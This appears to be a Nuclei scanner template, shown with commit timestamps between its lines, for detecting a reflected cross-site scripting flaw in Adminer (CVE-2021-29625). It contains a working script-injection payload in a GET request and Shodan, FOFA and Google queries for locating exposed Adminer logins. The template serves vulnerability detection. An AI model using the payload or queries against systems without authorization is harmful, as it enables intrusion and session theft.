2021-09-05 10:12:40 +00:00
id : CVE-2021-29625
info :
2022-08-29 13:55:23 +00:00
name : Adminer <=4.8.0 - Cross-Site Scripting
2021-09-05 10:12:40 +00:00
author : daffainfo
severity : medium
2022-08-29 13:55:23 +00:00
description : Adminer 4.6.1 to 4.8.0 contains a cross-site scripting vulnerability which affects users of MySQL, MariaDB, PgSQL, and SQLite in browsers without CSP when Adminer uses a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled).
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the Adminer interface, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 12:09:01 +00:00
remediation : This vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`).
2021-09-05 10:12:40 +00:00
reference :
- https://sourceforge.net/p/adminer/bugs-and-features/797/
2022-05-17 09:18:12 +00:00
- https://github.com/vrana/adminer/commit/4043092ec2c0de2258d60a99d0c5958637d051a7
2022-08-29 13:55:23 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-29625
2023-07-11 19:49:27 +00:00
- https://github.com/vrana/adminer/security/advisories/GHSA-2v82-5746-vwqc
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-29625
cwe-id : CWE-79
2024-06-07 10:04:29 +00:00
epss-score : 0.00236
epss-percentile : 0.61643
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:adminer:adminer:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : adminer
product : adminer
2024-06-07 10:04:29 +00:00
shodan-query :
- http.title:"login - adminer"
- cpe:"cpe:2.3:a:adminer:adminer"
fofa-query :
- app="adminer" && body="4.7.8"
- title="login - adminer"
2024-05-31 19:23:20 +00:00
google-query : intitle:"login - adminer"
2024-06-07 10:04:29 +00:00
hunter-query : app.name="adminer"&&web.body="4.7.8"
tags : cve2021,cve,adminer,xss,sqli
2021-09-05 10:12:40 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-09-05 10:12:40 +00:00
- method : GET
path :
2021-09-06 09:46:12 +00:00
- '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2021-09-05 10:12:40 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-09-05 10:12:40 +00:00
words :
2021-09-06 09:46:12 +00:00
- "</script><script>alert(document.domain)</script>"
2021-09-05 10:12:40 +00:00
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-09-05 10:12:40 +00:00
words :
- "text/html"
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022100e1b3e6494b9cd0a8ce79cafe3a6710f2c519e0a794837ff0672b7d57aa880c77022062de7ad4f0c57430d491bfae754d755efc7ad51013fc4471a85783e674925b72:922c64590222798bb761d5b6d8e72950